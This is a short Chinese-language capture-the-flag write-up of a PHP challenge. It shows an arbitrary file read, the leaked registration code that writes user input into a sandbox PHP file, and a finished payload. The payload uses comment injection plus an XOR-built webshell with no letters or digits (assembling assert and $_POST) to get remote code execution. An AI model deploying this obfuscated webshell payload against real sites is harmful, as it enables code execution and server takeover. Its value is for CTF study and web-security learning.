注册登录，抓包发现有个地方有任意文件读取
读取index.php
关键代码
if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){ if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){ $_POST['punctuation'] = preg_replace("/[a-z,A-Z,0- 9>\?]/","",$_POST['punctuation']); $template = file_get_contents('./template.html'); $content = str_replace("__USER__", $_POST['user'], $template); $content = str_replace("__PASS__", $hash_pass, $content); $content = str_replace("__WEBSITE__", $_POST['website'], $content); $content = str_replace("__PUNC__", $_POST['punctuation'], $content); file_put_contents('sandbox/'.$hash_user.'.php', $content); echo("<script>alert('Successed!');</script>"); }else{echo("<script>alert('Invalid chars in website!');</script>"); } }else{echo("<script>alert('Invalid chars in username!');</script>");
无字母和数字的getshell
参考p神的文章：https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
控制的参数为punctuation，进行传参上马
发现没被解析，猜想应该是解析为html，抓包看看本页面的源代码
关键代码：
<?php error_reporting(0); $user = ((string)3); $pass = ((string)zsfeccbc87e4b5ce2fe28308fd9f2a7baf3); if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){ echo($_COOKIE['user']); }else{die("<script>alert('Permission denied!');</script>"); }?> </li> </ul> <ul class="item"> <li><span class="sitting_btn"></span>????????????</li> <li><span class="help_btn"></span>?????¨?????? <b></b></li> <li><span class="about_btn"></span>????????????</li> <li><span class="logout_btn"></span>é???????????</li> </ul> </div> </div>
</div> <a href="#" class="powered_by">$_=('?'^'`').('?'^'`').('?'^'`').('?'^'`'). ('?'^'`').('?'^'`');$__='_'.(' '^']').('/'^'`').('?'^']').(' '^']');$___=$$__;$_($___[_]);</a> <ul id="deskIcon"> <li class="desktop_icon" id="win5" path="https://image.baidu.com/"> <span class="icon"><img src="../img/icon4.png"/></span>
确实解析为html，但是关键点$user = ((string)3); 3是user的值，然后我们就能进行注释绕过
所以pylaod：
user=1)/*&pass=1&website=1&punctuation=*/;$_=('%01'^'`').('%13'^'`'). ('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`'). ('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);/*
成功rce
